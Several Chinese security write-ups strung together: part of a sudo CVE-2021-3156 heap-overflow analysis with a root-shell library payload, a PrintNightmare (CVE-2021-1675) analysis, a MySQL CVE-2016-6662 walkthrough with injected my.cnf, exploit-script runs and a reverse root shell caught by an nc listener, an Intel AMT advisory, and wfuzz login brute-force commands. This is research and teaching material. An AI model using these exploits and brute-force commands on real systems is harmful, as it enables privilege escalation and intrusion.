.text:000000000001D9A8 mov rdi, r14 ; size
.text:000000000001D9AB call _malloc ; set_cmnd下断点处
.text:000000000001D9B0 test rax, rax
.text:000000000001D9B3 mov r13, rax
.text:000000000001D9B6 mov cs:qword_256970, rax
.text:000000000001D9BD jz loc_1E4D0
.text:000000000001D9C3 ; 364: if ( (sudo_mode & 0x60000) != 0 )
.text:000000000001D9C3 test dword ptr cs:2568F0h, 60000h
.text:000000000001D9CD ; 363: from = (unsigned __int8 *)v16[1];
.text:000000000001D9CD mov r15, [r15+8]
.text:000000000001D9D1 jz loc_1E0E0
.text:000000000001D9D7 ; 366: if ( from )
.text:000000000001D9D7 test r15, r15
.text:000000000001D9DA jz loc_1E288
.text:000000000001D9E0 ; 368: while ( 1 )
.text:000000000001D9E0
.text:000000000001D9E0 loc_1D9E0: ; CODE XREF: sub_1D5C0+CC0↓j
.text:000000000001D9E0 movzx eax, byte ptr [r15]
.text:000000000001D9E4 test al, al
.text:000000000001D9E6 jnz short loc_1DA12
.text:000000000001D9E8 jmp loc_1E268
.text:000000000001D9E8 ; --------------------------------------------------------------------------- .text:000000000001D9ED align 10h
.text:000000000001D9F0 ; 375: v26 = *from;
.text:000000000001D9F0
.text:000000000001D9F0 loc_1D9F0: ; CODE XREF: sub_1D5C0+458↓j
.text:000000000001D9F0 ; sub_1D5C0+46F↓j
.text:000000000001D9F0 mov rax, r14
.text:000000000001D9F3 movzx edx, byte ptr [r15]
.text:000000000001D9F7 ; 376: v27 = from++;
.text:000000000001D9F7 mov r14, r15
.text:000000000001D9FA mov r15, rax
.text:000000000001D9FD ; 382: *to++ = v26;
.text:000000000001D9FD
.text:000000000001D9FD loc_1D9FD: ; CODE XREF: sub_1D5C0+475↓j
.text:000000000001D9FD add r13, 1
.text:000000000001DA01 mov [r13-1], dl
.text:000000000001DA05 ; 370: for ( from0 = *from; from0; from0 = v27[1] )
.text:000000000001DA05 movzx eax, byte ptr [r14+1]
.text:000000000001DA0A test al, al
.text:000000000001DA0C jz loc_1E268
.text:000000000001DA12 ; 372: v27 = from + 1;
.text:000000000001DA12
.text:000000000001DA12 loc_1DA12: ; CODE XREF: sub_1D5C0+426↑j
.text:000000000001DA12 cmp al, 5Ch ; '\'
.text:000000000001DA14 lea r14, [r15+1]
.text:000000000001DA18 ; 373: if ( from0 != '\\' || (v28 = __ctype_b_loc(), v26 = from[1], ((*v28)[v26] & 0x2000) != 0) )
.text:000000000001DA18 jnz short loc_1D9F0
.text:000000000001DA1A call ___ctype_b_loc
.text:000000000001DA1F movzx ecx, byte ptr [r15+1]
.text:000000000001DA24 mov rax, [rax]
.text:000000000001DA27 test byte ptr [rax+rcx*2+1], 20h
.text:000000000001DA2C mov rdx, rcx
.text:000000000001DA2F jnz short loc_1D9F0
.text:000000000001DA31 ; 380: from += 2;
.text:000000000001DA31 add r15, 2
.text:000000000001DA35 jmp short loc_1D9FD
直接在 malloc()函数的地址处下断点，就能够得到 user_args堆块的地址，如下图所示：
### 提权方法
这里需要先介绍一下该漏洞所使用的提权方法，先了解一个结构体 service_user 和一个函数 nss_load_library。在
service_user结构体中指定了要动态加载的动态链接库，如果能够修改 service_user->name，那么就能指定加载伪造的动态链接库。而
nss_load_library函数就是加载动态链接库的函数，其会调用 __libc_dlopen打开动态库。
typedef struct service_library
{
/* Name of service (`files', `dns', `nis', ...). */
const char *name;
/* Pointer to the loaded shared library. */
void *lib_handle;
/* And the link to the next entry. */
struct service_library *next;
} service_library;
// 1. service_user 结构
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table, // （1）设置 ni->library
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // （2）伪造的库文件名必须是 libnss_xxx.so
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name); // （3）加载目标库
//continue long long function
这里需要注意 nss_load_library需要满足 ni->library != null和ni->library->lib_handle ==
NULL才能加载新库。
也就是我们需要将 ni->library覆盖为 null，将 ni->name覆盖我们自己伪造的库名字，且伪造的库文件名必须是 libnss_xxx.so。
那么，难点就是如何仅通过一个 堆溢出去覆盖一个 service_user结构。这里的方法是，在一个 service_user结构体前面释放一个堆块，然后
分配 user_args分配到该堆块，随后使用堆溢出覆盖 service_user结构体。
然后，使用 search -s systemd [heap]命令搜索 堆块中的systemd字符串。来定位
service_user结构体的位置，如下所示，可以看到 0x5618621b5450处是一个 service_user结构体。
而，通过malloc分配的 0x80 tcache位于 service_user结构体之前，相差 0x100。
可以看到 serviceuser偏移 0x30处 是 systemd，而我们通过堆溢出可以看到我们将该结构体中的 name覆盖为
X/POP_SH3LLZ（这里的 library在覆盖完后应该为 Null，但是我这里截图是在执行了 nss_new_service所截图，所以这里
library已经有了值）。
将离 user_args最近的 service_user结构体覆盖后，程序会调用 getgrgid()函数，最后去调用 nss_load_library。
//sudoers.so
.text:0000000000034720 loc_34720: ; CODE XREF: sub_344D0+3E↑j
.text:0000000000034720 mov edi, ebx ; gid
.text:0000000000034722 call _getgrgid ; 10
.text:0000000000034727 mov rbx, rax
.text:000000000003472A jmp loc_3451F
在 nssload_libray中，构造了满足调用新动态链接库的条件，所以会通过 ni->name构造动态链接库的名字 shlib_name为
libnss_X/POP_SH3LLZ .so.2。最终会通过 __libc_dlopen(shlib_name)打开。
而 libnss _X/POP_SH3LLZ_ .so.2中只含有一个 init函数，该函数的作用就是id(0)调用
execv(‘/bin/sh’)，自此完成了提权。
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}
## 参考文献
<https://www.jianshu.com/p/18f36f1342b3>
<https://bbs.pediy.com/thread-265669.htm>
<https://github.com/blasty/CVE-2021-3156/blob/main/hax.c>
<https://www.openwall.com/lists/oss-security/2021/01/26/3> | 社区文章 |
**作者：yyjb@360高级攻防实验室
原文链接：<http://noahblog.360.cn/cve-2021-1675/>**
## 背景
本月的微软更新包含一个spool的打印机服务本地提权漏洞，自从去年cve-2020-1048被公开以来，似乎许多人开始关注到这一模块的漏洞。鉴于此这个漏洞刚公布出来时，并没有太仔细关注。直到后面关注到绿盟的微信公众号的演示视频，显示这个漏洞可能在域环境特定情况下执行任意代码。所以认为有必要对其原理以及适用范围情况进行分析。
## 补丁分析
通过补丁对比，可以确定该漏洞触发原理应该是一个在添加打印机驱动的过程中RpcAddPrinterDriverEx()绕过某些检查的漏洞。
根据API文档，RpcAddPrinterDriverEx
API用于在打印机服务器上安装打印机驱动；第三个参数为dwFileCopyFlags，指定了服务器在拷贝驱动文件时的行为。文档给出了标志的可能值，结合补丁，我们发现了这样一个标志：APD_INSTALL_WARNED_DRIVER（0x8000），此标志允许服务器安装警告的打印机驱动，也就是说，如果在flag中设置了APD_INSTALL_WARNED_DRIVER，那么我们可以无视警告安装打印机驱动。这刚好是微软补丁试图限制的标志位。
## 本地提权
我们分析了添加驱动的内部实现（位于localspl.dll的InternalAddPrinterDriver函数），添加驱动的过程如下：
1. 检查驱动签名
2. 建立驱动文件列表
3. 检查驱动兼容性
4. 拷贝驱动文件
如果能够绕过其中的限制，将自己编写的dll复制到驱动目录并加载，就可以完成本地提权。
### 绕过对驱动文件签名的检查
绕过驱动签名检查的关键函数为ValidateDriverInfo()。分析该函数，我们发现，如果标志位设置了APD_INSTALL_WARNED_DRIVER(0x8000)，那么函数会跳过驱动路径和驱动签名的检查。
### 绕过建立驱动文件目录函数
CreateInternalDriverFileArray()函数根据文件操作标志来决定是否检查spool驱动目录。如果a5
flag被标志为False，驱动加载函数只会检查用户目录中是否包含要拷贝的驱动文件；否则，函数会尝试到spool驱动目录寻找目标驱动，在本地提权场景下，这将导致列表建立失败。
通过简单分析可以发现，在FileCopyFlags中设置APD_COPY_FROM_DIRECTORY（0x10），即可跳过spool目录检查。
### 绕过驱动文件版本检查
后续的检查包括对需要添加的驱动的兼容性检查，这里主要是检查我们需要添加的驱动版本信息（这里主要是指版本号的第二位，我后面所描述的版本号都特指第二位）：
下面是用来被当去打印驱动加载的我们自己生成的一个dll文件，
修改dll文件版本号绕过驱动文件兼容性检查：
驱动加载函数InternalAddPrinterDriver中的检查限制了驱动版号只能为0，1，3.
而兼容性检查的内部函数实现（ntprint.dll的PSetupIsCompatibleDriver函数）又限制了该版本号必须大于2。因此，可以修改待加载驱动或dll文件的版本号为3，从而绕过驱动兼容性检查。
### 驱动文件的复制加载
驱动文件拷贝函数（CopyFileToFinalDirectory）对参数没有额外的限制。函数执行完成后，我们的驱动文件以及依赖就被复制到驱动目录了，复制后的驱动文件会被自动加载。
自动加载驱动：
## 尝试远程执行代码。
目前，我们已经可以从本地指定的用户目录加载我们自定义的打印机驱动文件到spool驱动目录。之前我们对AddPrinterDriverExW函数的调用第一个参数为空，用来在本地加载。如果直接设置该参数为指定服务器地址，目标会返回我们需要登陆到目标设备的权限的错误。作为测试，我们先通过IPC连接到目标设备，之后再通过我们的驱动添加调用，使远程目标设备从其本地的指定目录复制驱动文件到spool驱动目录并加载。
但这里有一个问题，这个操作仅仅是让目标服务器从本地磁盘复制并加载驱动，在此之前，我们还要使我们自己的驱动文件从攻击机设备的目录上分发到目标设备上。
这里就必须要求目标开启对应的集群后台打印处理程序，之后再次调用AddPrinterDriverExW修改标志为APD_COPY_TO_ALL_SPOOLERS，将本地的驱动文件分发到目标设备磁盘上。
### 远程加载驱动
最后，我这里并没有使用实际的集群打印服务器的环境。作为测试，我预先复制了驱动文件到目标服务器的指定路径。调用AddPrinterDriverExW使远程目标服务器完成了复制用户目录驱动文件到驱动目录并以system权限加载的过程。
### 思路验证视频：
## 漏洞总结
该漏洞的核心是允许普通用户绕过检查，将一个任意未签名dll复制到驱动目录并以系统管理员权限加载起来。而该漏洞可以达到远程触发的效果，则是由于集群打印服务间可以远程分发接收打印驱动文件的特性。
所以就目前的漏洞验证结果来看，该漏洞的危害似乎可能比他的漏洞原理表现出来的要影响更多一点。除了作为本地提权的利用方式之外，如果在一些内部隔离办公环境，启用了这种集群打印服务又没有及时更新系统补丁，该漏洞的作用还是比较有威胁性的。
## 对 [PrintNightmare ](https://github.com/afwu/PrintNightmare)0day POC的补充说明
通过最近一两天其他研究人员的证明，目前公开的cube0x0/PrintNightmare poc可以对最新的补丁起作用。鉴于此，我们后续验证了这个原因。
通过分析，补丁函数中对调用来源做了检查，查询当前调用者token失败时，会强制删除掉APD_INSTALL_WARNED_DRIVER(0x8000)的驱动添加标志。从而导致验证不通过。
但是，当我们从远程调用到这个接口，至少目前证实的通过IPC连接到目标后，这里的调用者已经继承了所需要的token，从而绕过检查。
从某种意义上讲，该漏洞修复方案只针对本地提权场景进行了限制，而没有考虑到远程调用对漏洞的影响。
## 参考
<https://mp.weixin.qq.com/s/MjLPFuFJobkDxaIowvta7A>
<http://218.94.103.156:8090/download/developer/xpsource/Win2K3/NT/public/internal/windows/inc/winsprlp.h>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>
<https://github.com/cube0x0/CVE-2021-1675>
* * * | 社区文章 |
本文作者：安全小飞侠，原文链接：http://avfisher.win/archives/593
### 0x00 背景
2016年9月12日，国外安全研究人员Dawid
Golunski发布安全公告发现了MySQL的一个可被远程代码执行/权限提升的漏洞（CVE-2016-6662）。笔者在研究了原报告后，做了如下分析和实践。
### 0x01 分析
漏洞披露原址：http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
影响范围 (漏洞作者9月16日的最新更新)：
MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51
在对原报告的研究后，整理总结如下。
**漏洞产生的原因：**
1. MySQL的默认安装包里自带了一个mysqld_safe的脚本用来启动mysql的服务进程，如：
2. 该进程能够在启动mysql server之前预加载共享库文件，通过参数 `–malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe:`
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
if [ -z "$malloc_lib" ]; then
log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
exit 1
fi
fi
3.共享库文件可被添加在一个mysql的配置文件my.cnf中, 比如mysql的data目录，$DATADIR/my.cnf
/usr/local/mysql/bin/mysqld_safe:
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
DATADIR=/usr/local/mysql/data
fi
4.一旦攻击者可以注入恶意库文件在my.cnf文件中，即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码
**漏洞的利用条件：**
具有FILE和SELECT权限的mysql的用户且能够访问日志功能（通常情况下只有MYSQL的管理员用户具有）
**漏洞的利用场景：**
1. 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件（mysql用户可写）里注入恶意代码
2. 在MYSQL的data目录里（mysql用户默认可写）创建一个新的配置文件my.cnf，并注入恶意代码
**漏洞的利用原理：**
1.使用mysql的日志记录功能创建/修改my.cnf文件
mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
2.注入包涵恶意代码的共享库，并添加到my.cnf文件的[mysqld]下，如：
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
3.重启mysql服务，即可实现以root权限执行恶意代码
### 0x02 实践
实验环境：
* Ubuntu 16.04.1 LTS
* MySQL 5.5.50
实践步骤：
1. 安装与配置MySQL：http://howtolamp.com/lamp/mysql/5.6/installing/
安装后目录如下：
root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x 2 mysql mysql 4096 9月 18 18:51 bin
-rw-r--r-- 1 mysql mysql 17987 5月 16 17:46 COPYING
drwx------ 6 mysql mysql 4096 9月 18 17:46 data
drwxr-xr-x 2 mysql mysql 4096 9月 13 23:58 docs
drwxr-xr-x 3 mysql mysql 4096 9月 13 19:17 include
-rw-r--r-- 1 mysql mysql 301 5月 16 17:46 INSTALL-BINARY
drwxr-xr-x 3 mysql mysql 4096 9月 13 19:17 lib
drwxr-xr-x 4 mysql mysql 4096 9月 13 19:17 man
drwxr-xr-x 10 mysql mysql 4096 9月 13 19:17 mysql-test
-rw-r--r-- 1 mysql mysql 2496 5月 16 17:46 README
drwxr-xr-x 2 mysql mysql 4096 9月 13 19:17 scripts
drwxr-xr-x 27 mysql mysql 4096 9月 13 19:17 share
drwxr-xr-x 4 mysql mysql 4096 9月 13 23:02 sql-bench
drwxr-xr-x 2 mysql mysql 4096 9月 18 17:52 support-files
2\. 下载exp文件：
* 0ldSQL_MySQL_RCE_exploit.py： http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
* mysql_hookandroot_lib.c： http://legalhackers.com/exploits/mysql_hookandroot_lib.c
3\. 查找mysql的data目录,如：/usr/local/mysql/data
root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root 12592 0.0 0.0 4508 1780 pts/18 S 17:46 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root 13622 0.0 0.0 21296 940 pts/18 S+ 18:59 0:00 grep --color=auto mysqld_saf
4\. 修改exp文件
0ldSQL_MySQL_RCE_exploit.py：修改161行如下 （注意：此处的作用是将mysql的触发器文件写入到测试数据库所在的同一目录下）
TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB
mysql_hookandroot_lib.c：修改63-65行如下
（此处笔者使用的my.cnf的目录是/usr/local/mysql/data/my.cnf）
#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"
5.在监听服务器上启动监听
[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
6.创建测试数据库用户和数据库
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
7.执行0ldSQL_MySQL_RCE_exploit.py脚本如下：
root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Connecting to target server 127.0.0.1 and target mysql account '[email protected]' using DB 'pocdb'
[+] The account in use has the following grants/perms:
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'
[+] Compiling mysql_hookandroot_lib.so
[+] Converting mysql_hookandroot_lib.so into HEX
[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG
[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target
[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded
[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf
[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected
...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)
[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)
...
8.重启mysql服务来触发利用
root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart
9.监听服务器成功收到反弹shell
[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)
### 0x03 总结
笔者在该漏洞的测试和实践过程中，有如下的体会和心得：
1. 漏洞作者巧妙地利用了触发器，使一个普通的用户利用了root权限执行了所需的sql语句，从而成功地绕过了mysql对于general_log_file文件操作的权限限制
2. 漏洞作者提供了一个不错的反弹shell的技巧，即在mysqld启动之前利用preload加载my.cnf文件顺序早于mysqld成功地修改了my.cnf文件中的冗余信息，保证了mysql服务的正常启动
3. 关于mysql的data目录下的my.cnf文件的权限问题，其实完全不需要chown mysql:mysql my.cnf, 只要同时具备以下2个条件即可：
4. 默认的mysql用户对my.cnf具有可写权限
5. my.cnf不是world-write权限
### 参考
* http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
* http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
* http://legalhackers.com/exploits/mysql_hookandroot_lib.c
* http://seclists.org/oss-sec/2016/q3/484
原文地址：http://avfisher.win/archives/593
* * * | 社区文章 |
# Intel Active Management Technology（AMT）漏洞预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-071101
报告来源： 360CERT
报告作者： 360CERT
更新日期： 2018-07-11
## 0x00 事件概述
近日英特尔公司对Intel Active Management Technology（intel
AMT）进行更新，修补3个补丁，编号为：CVE-2018-3628 ， CVE-2018-3629， CVE-2018-3632。
在使用英特尔处理器的PC设备上启用AMT技术，AMT固件版本在 3.x至11.x 之间的物联网设备，工作站，服务器会受到该漏洞影响。
360-CERT团队经过评估，认为漏洞风险等级重要，建议用户参照相关修复建议进行防御。
## 0x01 技术背景
Intel AMT其全称为INTEL Active Management
Technology(英特尔主动管理技术)，它是一种集成在芯片中的系统，不依赖特定的操作系统，这也是Intel AMT与远程控制软件最大的不同。
即使计算机属于关闭状态，或者操作系统故障，通过此技术都可以进行远程管理。
## 0x02 漏洞描述
CVE-2018-3628：在英特尔Converged Security Manageability
Engine（CSME）固件中的AMT模块的Http处理程序中存在缓冲区溢出漏洞，攻击者可以通过构造恶意的HTTP请求来发起攻击，从而控制局域网中存在漏洞的机器，来执行恶意代码。
严重性：高
受影响固件版本：3.x至11.x
CVE-2018-3629：在英特尔Converged Security Manageability
Engine（CSME）固件中的AMT模块的Event处理程序中存在缓冲区溢出漏洞，攻击者可以构造恶意代码来使目标机造成拒绝服务。
严重性：高
受影响固件版本：3.x至11.x
CVE-2018-3632：在英特尔Converged Security Manageability
Engine（CSME）固件中上的AMT模块中存在内存破坏漏洞，攻击者可以构造恶意代码来进行本地代码提权。
严重性：中
受影响固件版本：6.x/7.x/8.x/9.x/10.x/11.0/11.5/11.6/11.7/11.10/11.20
## 0x03 影响范围
在使用英特尔处理器的PC设备上启用AMT技术，AMT固件版本在 3.x至11.x 之间的物联网设备，工作站，服务器会受到影响。
受影响CPU型号如下：
•英特尔®酷睿™2双核vPro™和英特尔®迅驰™2博锐™
•1至8代英特尔睿™处理器家族
•英特尔®至强®处理器E3-1200 v5和v6产品系列（Greenlow）
•英特尔®至强®处理器可扩展系列（Purley）
•英特尔®至强®处理器W系列（Basin Falls）
## 0x04 修复建议
建议用户尽快更细固件到最新版本。
受影响CPU系列 | 已修复漏洞的固件版本或更高版本
---|---
4th Generation Intel® Core™ 处理器系列 | Intel® CSME 9.1.43 Intel® CSME 9.5.63
5th Generation Intel® Core™ 处理器系列 | Intel® CSME 10.0.57
6th Generation Intel® Core™ 处理器系列 | Intel® CSME 11.8.50
7th Generation Intel® Core™ 处理器系列 | Intel® CSME 11.8.50
8th Generation Intel® Core™ 处理器系列 | Intel® CSME 11.8.50
Intel® Xeon® Processor E3-1200 v5 & v6 产品系列 | Intel® CSME 11.8.50
Intel® Xeon® 处理器可扩展系列 | Intel® CSME 11.21.51
Intel® Xeon® 处理器W系列 | Intel® CSME 11.11.50
英特尔表示不再支持以下产品的英特尔®CSME固件。没有对以下系列CPU提供固件更新：
英特尔®酷睿™2双核vPro™
英特尔®迅驰™2博锐™
第一代英特尔®酷睿™
第二代英特尔®酷睿™
第三代英特尔®酷睿™
## 0x05 时间线
2018-07-10 英特尔发布相关公告
2018-07-11 360CERT发布预警
## 0x06 参考链接
<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00112.html> | 社区文章 |
**wfuzz——暴力破解web应用程序**
我非常喜欢使用wfuzz，使用这个工具非常直观便捷，所以我就萌生了为这个整洁的小工具写一点基本用例的想法。
当你完成某一项工作时，有很多方法。Burp-suite
pro有的功能和Hydra类似，并且还有很多其他的工具。他们都提供了类似的/更好/更差的性能和功能（实际情况实际分析）
让我们从头开始：
它可以作为默认的Kali Linux构建的一部分(我认为)。<https://github.com/xmendez/wfuzz>
**用例一：爆破用户名和密码**
回顾我以前的一些帖子，有如下示例：
wfuzz -c -z file,/root/Documents/MrRobot/fsoc.dic — hs Invalid -d “log=FUZZ&pwd=aaaaa” http://192.168.240.129/wp-login.php
> -c：是否选择带颜色输出，这是个人选择。
> -z：payload / wordlist - 您希望它使用的列表。
> -hs:忽略包含无效的响应，在这个实例中，h是隐藏的，而s实际上是这个实例中的regex开关
> -d:发送请求
> FUZZ：fuzz的部分
说明：我已经确定在输入不正确的用户名时，在这个特定的WordPress安装上出现了一个包含“Invired”的响应，因此上面的字符串被用来将fsoc.dic文件的内容传递到请求的“FUZZ”部分。“FUZZ”变量是wfuzz识别从单词列表中插入单词的方式。然后我告诉它在哪里发送尝试。
wfuzz -c -z file,/root/Documents/MrRobot/fsoc.dic — hs incorrect -d “log=eliott&pwd=FUZZ” http://192.168.240.129/wp-login.php
由于我在这两个部分中都使用了相同的单词列表，所以我可以在一个字符串中使用类似于下面的内容来完成此操作.
wfuzz -c -z file,/root/Documents/MrRobot/fsoc.dic -z file,/root/Documents/MrRobot/fsoc.dic —hs Invalid —hs incorrect -d “log=FUZZ&pwd=FUZ2Z” http://192.168.240.129/wp-login.php
我定义了两个文件(-z文件)，它们在我们的示例中是相同的，然后定义我不希望看到的两个响应，最后将FUZZ和FUZ2Z添加到POST请求中(如果您想强制使用多个值，可以使用FUZ3Z、FUZ4Z等)。在此阶段，指定文件的顺序非常重要。如果您使用一个用户名文件(FUZZ)和一个密码文件(FUZ2Z)，则必须确保它们按此顺序显示。例如：
wfuzz.py -c -z file,users.txt -z file,pass.txt — sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
先指定Users.txt，然后指定pass.txt，然后查看POST请求，——这就是提交的顺序。
**用例二：爆破目录**
root@kali:~/necromancer# wfuzz -c -z file,/root/necromancer/thing.txt — hc 404 http://192.168.56.102/amagicbridgeappearsatthechasm/FUZZ
希望您能够简单地遵循用例1，如果您这样做的话，那么这个用例也应该是非常直截了当的。在这个例子中，我没有传递一个POST请求，我直接爆破，而忽略了作为404响应返回的任何东西。（hc
=隐藏代码）
同样，如果我们希望在该过程中添加多个变量，与用户名完全相同，类似于以下内容：
root@kali:~/necromancer# wfuzz -c -z file,/root/necromancer/thing.txt -z file,/usr/share/wordlists/rockyou.txt — hc 404 http://192.168.56.102/amagicbridgeappearsatthechasm/FUZZ/FUZ2Z
在下一个示例中，我做了一件非常类似的事情，但是向它传递了-H参数，即
> -H标头：使用标头
> (ex:”Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")
如果内存正确的话，这个VM/站点需要iphone才能访问。
wfuzz -c -z file,/usr/share/wordlists/rockyou.txt — hc 403,404 -H “User-Agent: Apple-iPhone5C3/” http://172.16.26.130:8008/NickIzL33t/FUZZ
记住:
爆破可能与DOS相似，你可能会影响系统服务，并且违反法律。
wfuzz是一个很棒的工具。寻找其他的工具无异于南辕北辙。
https://securitybytes.io/wfuzz-using-the-web-brute-forcer-1bf8890db2f | 社区文章 |
Subsets and Splits